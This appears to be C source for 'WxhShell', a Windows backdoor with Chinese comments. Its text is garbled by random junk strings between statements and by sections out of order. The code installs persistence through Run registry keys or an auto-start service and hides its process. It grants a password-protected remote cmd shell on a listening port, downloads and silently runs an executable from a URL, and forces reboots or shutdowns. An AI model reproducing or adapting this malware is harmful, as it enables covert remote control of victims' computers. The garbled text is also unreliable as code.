yl>" if(NULL == hInst ) return 0; =_3qUcOP vH8%a8V g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <-aI%'?* g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); TnAX;+u NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _@76eZd j)*nE./3 if (!NtQueryInformationProcess) return 0; 5nb6k,+E f/m6q8!L{ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6GvnyJ{[ if(!hProcess) return 0; o)WSMV(&f ,Yz+?SmSZ& if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =1Jo-!{{ I/|n
ma/ $ CloseHandle(hProcess); " V2$g C>ZeG
Vq hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !-~(*tn if(hProcess==NULL) return 0; [GM<Wt0 )5x?Qn (B HMODULE hMod; Fowh3go char procName[255]; A[a+,TN{ unsigned long cbNeeded; P://Zi6> ??Ac=K\ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1^dWmxUZH L,L7WObA CloseHandle(hProcess); @kymL8"2w v:;cTX=x`# if(strstr(procName,"services")) return 1; // 以服务启动 P2F>iK#U G$<0_0GF return 0; // 注册表启动 Y.#+Yh[ } *h6i9V%' 1A`";E& // 主模块 nsk
6a int StartWxhshell(LPSTR lpCmdLine) R0'EoX { ?>&Zm$5V SOCKET wsl; s6uAF(4, BOOL val=TRUE; Cn '=_1p int port=0; TaG-^bX8B struct sockaddr_in door; HskN(Ho eRbO Hj1 if(wscfg.ws_autoins) Install(); k*^W
lCZ3 #w6CL port=atoi(lpCmdLine); l[ k$O$jo :B~c>: if(port<=0) port=wscfg.ws_port; c-d}E!C: w.H+$=aK WSADATA data; ?C3cPt" if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lX3h'h 3R {y68-S if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ~O-8 h0d3 setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |&7,g door.sin_family = AF_INET; oJ:J'$W( door.sin_addr.s_addr = inet_addr("127.0.0.1"); sd%~pY} door.sin_port = htons(port); 7/L7L5h< *_wBV
M=2 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { :_*Q
IyW closesocket(wsl); 4fswx@l return 1; `m^OnH } qZe"'"3M VWa(@A if(listen(wsl,2) == INVALID_SOCKET) { Y{=@^4|] closesocket(wsl); =d}3>YHS return 1; |e\%pfZ } Lw`\J|%p Wxhshell(wsl); ej+!|97M WSACleanup(); $!Tw`O @@jdF-Utj; return 0; `Fj(g!` 1S.~-K*X } ':3KZ4/C FQ%mNowuj // 以NT服务方式启动 5FxU=M1gF VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >.|gmo>b {
~A/_\- DWORD status = 0; LNkyV*TI DWORD specificError = 0xfffffff; nmr>Aj8[ /&yT2p serviceStatus.dwServiceType = SERVICE_WIN32; a2TC, serviceStatus.dwCurrentState = SERVICE_START_PENDING; }|,y`ui\ serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "T|\ serviceStatus.dwWin32ExitCode = 0; ;H lv serviceStatus.dwServiceSpecificExitCode = 0; O [/~V= serviceStatus.dwCheckPoint = 0; gZ3!2T> serviceStatus.dwWaitHint = 0; <=Qk^Y2k %L3]l hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Pp2)P7 if (hServiceStatusHandle==0) return; "dOzQz*E eAMT7 2_ status = GetLastError(); zKNk(/y if (status!=NO_ERROR) `Nj|}^A { Bh?;\D'YC serviceStatus.dwCurrentState = SERVICE_STOPPED; KXJHb{? serviceStatus.dwCheckPoint = 0; k&b>-QP6 serviceStatus.dwWaitHint = 0; ~
4aaJ0 serviceStatus.dwWin32ExitCode = status; Lg1Usy% serviceStatus.dwServiceSpecificExitCode = specificError; ,tZwXP{ SetServiceStatus(hServiceStatusHandle, &serviceStatus); \+xsJbEV return; 4"sP= C }
c'b,=SM D_Y;N3E/rS serviceStatus.dwCurrentState = SERVICE_RUNNING; FWg7e3 serviceStatus.dwCheckPoint = 0; 9\F^\h{ serviceStatus.dwWaitHint = 0; ry'(mM if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Lmb<)YY } 0NxaQ`\ (Gcl,IW // 处理NT服务事件,比如:启动、停止 cc[w%jlA# VOID WINAPI NTServiceHandler(DWORD fdwControl) yWzTHW`)Mr { Zu,f&smb switch(fdwControl) *D,T}N { E'Bt1u case SERVICE_CONTROL_STOP: jkq+j^ serviceStatus.dwWin32ExitCode = 0; a;K:~R+@, serviceStatus.dwCurrentState = SERVICE_STOPPED; isjkfl-! serviceStatus.dwCheckPoint = 0; ]l%j>Vb!L serviceStatus.dwWaitHint = 0; {F j`'0Xu; { G;e}z&6<k SetServiceStatus(hServiceStatusHandle, &serviceStatus); C1=[\c~jw } (k?OYz]c return; PsLCO(26 case SERVICE_CONTROL_PAUSE:
!ZRV\31% serviceStatus.dwCurrentState = SERVICE_PAUSED; iQKfx#kt break; om1 /9 case SERVICE_CONTROL_CONTINUE: bm;4NA?Gg serviceStatus.dwCurrentState = SERVICE_RUNNING; ]9' \<uR break; rhrlEf@ case SERVICE_CONTROL_INTERROGATE: ]Uu/1TTf break; |fUSq1// }; y{&,YV&_h SetServiceStatus(hServiceStatusHandle, &serviceStatus); hXCDlCO } D)Zv DCj!m<Y& // 标准应用程序主函数 !>Xx</iD1 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `JRdOe { C.@TX
Dg@6o // 获取操作系统版本 LE;c+(CAU OsIsNt=GetOsVer(); qVfOf\x.e GetModuleFileName(NULL,ExeFile,MAX_PATH); *$QUE0 5J,vH[E // 从命令行安装 (~jOtUyT if(strpbrk(lpCmdLine,"iI")) Install(); WI%,m~ `)'YU^s // 下载执行文件 L,i-T:Z~= if(wscfg.ws_downexe) { N$?q Aek if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) YW*ti|u|w WinExec(wscfg.ws_filenam,SW_HIDE); C
RNO4 } vQ;Z 0_ 4
QWHGh" if(!OsIsNt) { t?\osPL // 如果时win9x,隐藏进程并且设置为注册表启动 {S?.bT%& HideProc(); W+QI
D/ StartWxhshell(lpCmdLine); DD1S]m } i[B%:q:& else 9I,Trk@& if(StartFromService()) V{][{5SR // 以服务方式启动 1peN@Yk2W StartServiceCtrlDispatcher(DispatchTable); ^dro*a, else /#tOi[0[ // 普通方式启动 U-@\V1;C StartWxhshell(lpCmdLine); fIu/*PFPVY u7S7lR"lxW return 0; o\N),;LM } 2n\EZ n'SnqJ&} dQ<EDtap l{<@[foc =========================================== u!O)\m- +:b|I'S hGsYu ) },l3N K }q^CR(h (R |.YL2\ " J(0c#}d B9]KC i #include <stdio.h> i9d.Ls #include <string.h> #soWX_> #include <windows.h> #(OL!B #include <winsock2.h> um/iK}O #include <winsvc.h> 8"+Kz #include <urlmon.h> L!\I>a5C0G cG.4%Va@s_ #pragma comment (lib, "Ws2_32.lib") #jQITS7 #pragma comment (lib, "urlmon.lib") lyP<&<Y5 RJ`F2b sYN #define MAX_USER 100 // 最大客户端连接数 -0Ps.B #define BUF_SOCK 200 // sock buffer '2eggX% #define KEY_BUFF 255 // 输入 buffer [l0>pHl@ OmsNo0OA #define REBOOT 0 // 重启 FbF P #define SHUTDOWN 1 // 关机 (f7R~le &T{+B:*v #define DEF_PORT 5000 // 监听端口 yJ?6B LJi ~x2azY2DP #define REG_LEN 16 // 注册表键长度 _di[PU=Vh #define SVC_LEN 80 // NT服务名长度 Au9Rr3n aPRF // 从dll定义API d+8Sypv^4* typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "lB[IB) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); o]@?QAu
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); LqNsQu"; typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _k&vW(O=: `rvS(p[s // wxhshell配置信息 {q:6;yzxl struct WSCFG { uZCPxog int ws_port; // 监听端口 L+&$/1h] char ws_passstr[REG_LEN]; // 口令 ?e0ljx; int ws_autoins; // 安装标记, 1=yes 0=no F&^u1RYz char ws_regname[REG_LEN]; // 注册表键名 alyWp char ws_svcname[REG_LEN]; // 服务名 ol-U%J char ws_svcdisp[SVC_LEN]; // 服务显示名 +ps(9O/B> char ws_svcdesc[SVC_LEN]; // 服务描述信息 1jDN=hIl char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /@:I\&{f'9 int ws_downexe; // 下载执行标记, 1=yes 0=no [&51m^ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `j9 ;9^ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A2..gs/ Yf1?3(0O }; >o.4sN@ T< D&%) // default Wxhshell configuration ta%yQd7 struct WSCFG wscfg={DEF_PORT, G@s
rQum( "xuhuanlingzhe", `#R[x7bA1 1, 09/Mg "Wxhshell",
`ml "Wxhshell", %AaZc=a[c "WxhShell Service", fC&hi6 "Wrsky Windows CmdShell Service", vkp_v1F%+ "Please Input Your Password: ", a0~LZQ? 1, iU+O(vi "http://www.wrsky.com/wxhshell.exe", xQ%N%
` "Wxhshell.exe" =A{F&:+a] }; )vn{?Ulj ;ry~x:7L7 // 消息定义模块 Pd)mLs Jg char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XkDIP4v% char *msg_ws_prompt="\n\r? for help\n\r#>"; Cs))9'cD] char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c~SR@ZU char *msg_ws_ext="\n\rExit."; KSz;D+L\ char *msg_ws_end="\n\rQuit."; K|]/BjB/ char *msg_ws_boot="\n\rReboot..."; s+DOr$\ char *msg_ws_poff="\n\rShutdown..."; n&1q* char *msg_ws_down="\n\rSave to "; NYw>Z>TD8c g=n{G@ *N char *msg_ws_err="\n\rErr!"; ^M0 char *msg_ws_ok="\n\rOK!"; }20~5! uVN2}3!)Y char ExeFile[MAX_PATH]; f?W_/daP int nUser = 0; 4
Fl>XM HANDLE handles[MAX_USER]; ]Q$S ei5 int OsIsNt; }p5_JXBV Kl_(4kQE_ SERVICE_STATUS serviceStatus; LGB}:;$AL SERVICE_STATUS_HANDLE hServiceStatusHandle; f\xmv|8 wDR/Vr"f // 函数声明 ||D PIn] int Install(void); ,+~8R" int Uninstall(void); q#=HBSyM int DownloadFile(char *sURL, SOCKET wsh); 5/8=Do]( int Boot(int flag); MQ#k`b#() void HideProc(void); 2)hfYLi int GetOsVer(void); Y O&@ int Wxhshell(SOCKET wsl); `3g5n:"g\ void TalkWithClient(void *cs); }k;wSp[3 int CmdShell(SOCKET sock); 7cB/G:{
int StartFromService(void); :er(YWF: int StartWxhshell(LPSTR lpCmdLine); |P@N}P@ ,R.rxoO VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); gu|=uW K VOID WINAPI NTServiceHandler( DWORD fdwControl ); Wn2'uZ5If BMug7xl" // 数据结构和表定义 .J<t] SERVICE_TABLE_ENTRY DispatchTable[] = 0CO@@`~4 { 9HB+4q[ {wscfg.ws_svcname, NTServiceMain}, xpX<iT>5u {NULL, NULL} u8.F_'` z }; _AzI\8m .do8\ // 自我安装 ~[%_]/#&%z int Install(void) t0,=U8]w { AXF
1{ char svExeFile[MAX_PATH]; /% g+|C HKEY key; x
]"> strcpy(svExeFile,ExeFile); p]0`rf!| JkhW LQ>o // 如果是win9x系统,修改注册表设为自启动 LTxP@pr if(!OsIsNt) { Dj>eAO> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { djH&)&q! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }yVx"e) RegCloseKey(key); :_}xN!9LA if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kDol 1v` RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
E;}&2 a RegCloseKey(key); (n`]
sbx return 0; )(0if0D4 } `Fie'[F5,) } `JO>g=,4 } DQ(0:r else { ~m_{&,CA. `;Ho<26 // 如果是NT以上系统,安装为系统服务 yts@cd`$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R2v9gz;W if (schSCManager!=0) !(
>U3N { 2xf#@`U SC_HANDLE schService = CreateService ?a#Gn2 ( Z#.1p'3qm1 schSCManager, ,Kl:4 Tv wscfg.ws_svcname, <rtKPlb// wscfg.ws_svcdisp, /jNvHo^B SERVICE_ALL_ACCESS, fcxg6W' SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P0y DL:X[ SERVICE_AUTO_START, v^ "qr?3V SERVICE_ERROR_NORMAL, BBM[Fy37!} svExeFile, SV@*[r NULL, <pfl>Uf NULL, +: x[cK NULL, EjL]#,QR NULL, [0EWIdT*b NULL =* G3Khz! ); md*U if (schService!=0) ,VS(4 { )7 q"l3e"u CloseServiceHandle(schService); FY^2 Y CloseServiceHandle(schSCManager); Q66 + strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cef[T(> strcat(svExeFile,wscfg.ws_svcname); +N=HI1^54R if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "]#Ij6ml RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); t5%cpkgh4 RegCloseKey(key); <4+P37^~ return 0; Ie(i1?`A8 }
&nDXn| } a M9v CloseServiceHandle(schSCManager); u8T@W}FX } uLafO=Q } w%.hALN5-C X8VBs#tLE return 1; /i3JP} } =B9-}]DDO g!R7CRt% // 自我卸载 H,]8[qT< int Uninstall(void) 8'u9R~}) { h*%FZ}}`q HKEY key; D3cJIVM o>_})WM1[ if(!OsIsNt) { ZA+dtEE=f9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uG^CyM>R` RegDeleteValue(key,wscfg.ws_regname); ^#d\HI RegCloseKey(key); AY{KxCrb^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
'g!T${ RegDeleteValue(key,wscfg.ws_regname); #h?IoB7 RegCloseKey(key); q)i %*IY return 0; ?D6uviQg } 6LBdTnzUd }
jd](m:eG } wkM1tKhy/ else { /QY F|%7! iqvLu{ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S[1<Qrv] if (schSCManager!=0) hE|P|0U,n { 4T31<wk SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gom!dB0J if (schService!=0) X>8,C^~$1 { g3z/yj if(DeleteService(schService)!=0) { y6nP=g|')> CloseServiceHandle(schService); 8@;]@c)m CloseServiceHandle(schSCManager); zMR)w77 return 0; q2*A'C } A#.
%7S CloseServiceHandle(schService); xIGq+yd( } eAf i!!Z< CloseServiceHandle(schSCManager); |tGUx*NN } rW)h?, b } =p8uP5H BB6[(Z return 1; jc&k-d>=G } kJJT`Ba&/ au{)5W4~ // 从指定url下载文件 5dm ~yQN/ int DownloadFile(char *sURL, SOCKET wsh) SXk.7bMV6 { k
ucbI_ HRESULT hr; x~V[}4E%> char seps[]= "/"; 3PE.7-HF char *token; 4yxQq7
m, char *file; I/`"lAFe char myURL[MAX_PATH]; 8@t8P5(vL char myFILE[MAX_PATH]; UGSZg|&6#* D5,]E`jwu strcpy(myURL,sURL); oZa'cZNs token=strtok(myURL,seps); J,F1Xmr4 while(token!=NULL) p?i.<Z { fOV_ >]u file=token; 4.!1odKp token=strtok(NULL,seps); } ?j5V } @@AL@.* 6Ijt2c'A} GetCurrentDirectory(MAX_PATH,myFILE); t3@+idE b strcat(myFILE, "\\"); &BRk<iwV strcat(myFILE, file); L[x`i'0B send(wsh,myFILE,strlen(myFILE),0); 9MMCWMV send(wsh,"...",3,0); Y;/@[AwF hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0
0N[
:% if(hr==S_OK) .xN<<+|_v' return 0; =SJ#6uFS else pey=zR! return 1; h}
`v0E l=E86"m } 'JOUx_@z lU{)%4e` // 系统电源模块 n 9B5D:.G int Boot(int flag) fpR|+`k { PVI Oe}N HANDLE hToken; /65YHXg, TOKEN_PRIVILEGES tkp; -G(me"Cu .nPOjwEx&Y if(OsIsNt) { JOJ.79CT OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ,8e'<y LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w:5?ofC tkp.PrivilegeCount = 1; aJ'Fn tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 32wtN8kx AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #AJW-+1g.= if(flag==REBOOT) { cnu&!>8V if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) IL*B@E8 return 0; (/A.,8Ad } I0m7;M7 P else { 731Lz*IFg if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) K!6T8^JH return 0; hY`<J]-'` } ]3LLlXtK[ } 5T x4u%g else { q`9.@u@ a if(flag==REBOOT) { =\<NTu if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }9^:(ty2A return 0; CD&a_-'z$K } $94lF~ else { y\T$) XGV if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bo\ bs1 return 0; 76l. {TXF } c,a8#Og } Z[#8F&QV!m Z)7{~xq return 1; &qx/ZT } &W45.2 p:~#(/GWf // win9x进程隐藏模块 ~P\4
N void HideProc(void) dla_uXtM6 { 1CC0]pyHX ?(9*@ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); y\??cjWb] if ( hKernel != NULL ) |/Vq{gxp+ { eKiDc=@ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 3~`P8 9 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Y/sav; FreeLibrary(hKernel); 7h\is } "Hw%@]# RdX+:!lD return; NfoHQU<n } MSCH6R"5 \l/(L5gY // 获取操作系统版本 d:'{h"M6 int GetOsVer(void) Q`k;E}x_- { &{Z+p(3Gj OSVERSIONINFO winfo; DGHSyB^+1 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); c}@E@Y`@w GetVersionEx(&winfo); I'5[8 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T\gs return 1; Fl)nmwOc else %e:+@%] return 0; F@<cp ?dR } >g$iO`2 1)~|{X+~ // 客户端句柄模块 O C&BJNOi int Wxhshell(SOCKET wsl) EB3/o7)L { f&vMv. SOCKET wsh; !KI^Z1dP( struct sockaddr_in client; Fg`<uW]TFZ DWORD myID; ;mpY cpI a4s't%
P while(nUser<MAX_USER) \|>%/P { bPTtA;u int nSize=sizeof(client); dk7x<$h-h0 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /`m*PgJ if(wsh==INVALID_SOCKET) return 1; ;Rv WF ) o(tJc}Mh+( handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Uh0g !zzp if(handles[nUser]==0) fq>{5ODO closesocket(wsh); T={!/y+ else H'i\N?VL nUser++; >~,~X9 } X@kgc&`0 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1tY+0R 6$OmOCA% return 0; ./I? |ih } u0W6u} 4; eBa#Z1Z // 关闭 socket ]WNY"B>+ void CloseIt(SOCKET wsh) lW"0fZ_x'E { ~C{:G;Iy0 closesocket(wsh); VP!4Nob nUser--; ,#XXwm ^I ExitThread(0); >$ZhhM/} J } Tv#d>ZSD ZY<RNwu // 客户端请求句柄 jTS8
qu void TalkWithClient(void *cs)
L]l/w { |dxWO k9eyl) SOCKET wsh=(SOCKET)cs; ?$`kT..j,u char pwd[SVC_LEN]; 4Q!%16
P char cmd[KEY_BUFF]; 3^P;mQ$p1 char chr[1]; @:im/SE int i,j; 53hX%{3 +tk`$g while (nUser < MAX_USER) { Z,p@toj' d%I7OBBx@ if(wscfg.ws_passstr) { /,SVG1 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qUfoEpW2=6 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GLIY!BU<C //ZeroMemory(pwd,KEY_BUFF); )&E] i=0;
3*Q=)} while(i<SVC_LEN) { -"zW"v)\ ;'Hu75ymo // 设置超时 r\QV%09R fd_set FdRead; E q4tcZ struct timeval TimeOut; #6a!OQj FD_ZERO(&FdRead); l[~$9C'ji FD_SET(wsh,&FdRead); @|cHDltH TimeOut.tv_sec=8; ZklO9Ox( TimeOut.tv_usec=0; |*48J1:1y int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *04}84?: if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ekY)?$v3 K bQXH!J if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xq.kH| bH pwd=chr[0]; 5`3x(=b if(chr[0]==0xd || chr[0]==0xa) { r?u4[
Oe# pwd=0; }8AH/ break; tQG'f*4 } GH':Yk i++; 5=*i!c
_m } <#8}![3Q <}RD]Sc$1 // 如果是非法用户,关闭 socket 'C}ku>B_r if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -'O|D} } \A^8KVE! (Zx--2lc send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q~#>MB}". send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q{V e%8$" /t`|3Mw while(1) { e<uf)K=(C /&\V6=jA1 ZeroMemory(cmd,KEY_BUFF); Pm#/j; )a0l:jEOc // 自动支持客户端 telnet标准 ;HAvor=? j=0; Q\zaa9P while(j<KEY_BUFF) { Ae=JG8Ht~ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hlreeXv cmd[j]=chr[0]; )n"0:"Ou if(chr[0]==0xa || chr[0]==0xd) { NA$)qX_ cmd[j]=0; u`wD6&y* break; QDj%m %Xd } KaMg[G j++; )-"<19eu } ]35`N<Ac MA_YMxP.' // 下载文件 M._E$y,5 if(strstr(cmd,"http://")) { "c} en[ send(wsh,msg_ws_down,strlen(msg_ws_down),0); ..h@QQ if(DownloadFile(cmd,wsh)) q.R(>ZcV send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4pMp@b else RSj8T< send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $aEv*{$y } s)E8}-v else { tq,^!RSbZ [>>_%T\I switch(cmd[0]) { >&fD:y'& @r[SqGa: // 帮助 A",}Ikh='` case '?': { 94O\M
RQ* send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z,AY<[/C break; lO|LvJyx } y+Nw>\|S // 安装 Q}^Ip7T case 'i': { %5+X if(Install()) y|+5R5}K send(wsh,msg_ws_err,strlen(msg_ws_err),0); T~$Eh6
D else _'Jjt9@S send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L|<j/bP break; b 1.S21 } i._RMl5zg // 卸载 Fs~*-R$ case 'r': { x>mI$K(6M if(Uninstall()) wQhu U send(wsh,msg_ws_err,strlen(msg_ws_err),0); \15'~]d else g]JJ!$*1 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z" H; t\P break; *tT}N@<% } PA803R74 // 显示 wxhshell 所在路径 \VEnP=*:W case 'p': { 9W(&g)` char svExeFile[MAX_PATH]; \>*.+?97 strcpy(svExeFile,"\n\r"); |J`v
w
strcat(svExeFile,ExeFile); w%TrL+v send(wsh,svExeFile,strlen(svExeFile),0); sZ&6g<8#y break; ts(u7CJd }
wT19m // 重启 LCS.C(n, case 'b': { '_7rooU9 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 'Q=)- if(Boot(REBOOT)) {HM[ )t0 send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jlb{1B$7 else { EKcPJ\7 closesocket(wsh); b{-"GqMO ExitThread(0); lb9?Uc@ } #J3}H break; irm4lb5 } AfhJ6cSIE // 关机 aaf}AIL. case 'd': { f*"T]AX0 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); M `q|GY
if(Boot(SHUTDOWN)) Eo^m; p5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); "(W;rl
else { ha;fxM] closesocket(wsh); Dz$w6d ExitThread(0); LKI\(%ba# } ,<K+.7,)E break; ZY7-. } S'$m3,l(k // 获取shell *7Y#G8 s case 's': { "8uNa CmdShell(wsh); @i(9k closesocket(wsh); 451.VI}MR ExitThread(0); 68bvbig break; P 0+@,kM } <]%6x[ // 退出 %U}6(~
case 'x': { jK/FzD0- send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); />8A?+g9u CloseIt(wsh); "3]}V=L<5 break; u"oO._a(
} e(^I.`9z // 离开 MC,Qv9m case 'q': { u/|@iWK: send(wsh,msg_ws_end,strlen(msg_ws_end),0); !hfpa_5 closesocket(wsh); NBasf
n WSACleanup(); /'.gZo exit(1); ;CS[Ja>e break; ipMSMk7gx } - |DWPU!" } 5tkKd4VfL } h]~FYY aqqo>O3 s // 提示信息 re%XaL if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hicd
-' } F-o?tU } k kD#Bb C[%&;\3S@ return; Sn'!Nq> } P}a$#a'! q$yg^:]2 // shell模块句柄 CDtL.a\ int CmdShell(SOCKET sock) i"
u|119 { i Pr(X STARTUPINFO si; VfJ{);
ZeroMemory(&si,sizeof(si)); A9SL|9Q si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PX^k; si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; rxol7"2l PROCESS_INFORMATION ProcessInfo; `)]W~ char cmdline[]="cmd"; D9P,[:" CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eLh35tw return 0; kR^">s/H# } MIkp4A .eVX/6, // 自身启动模式 L.;x=w int StartFromService(void) ?&,6Y'" { SfPQ;s' typedef struct , vvfk=- { !wd
wo0 DWORD ExitStatus; wDoCc: DWORD PebBaseAddress; c-NUD$ DWORD AffinityMask; &@{`{ DWORD BasePriority; & |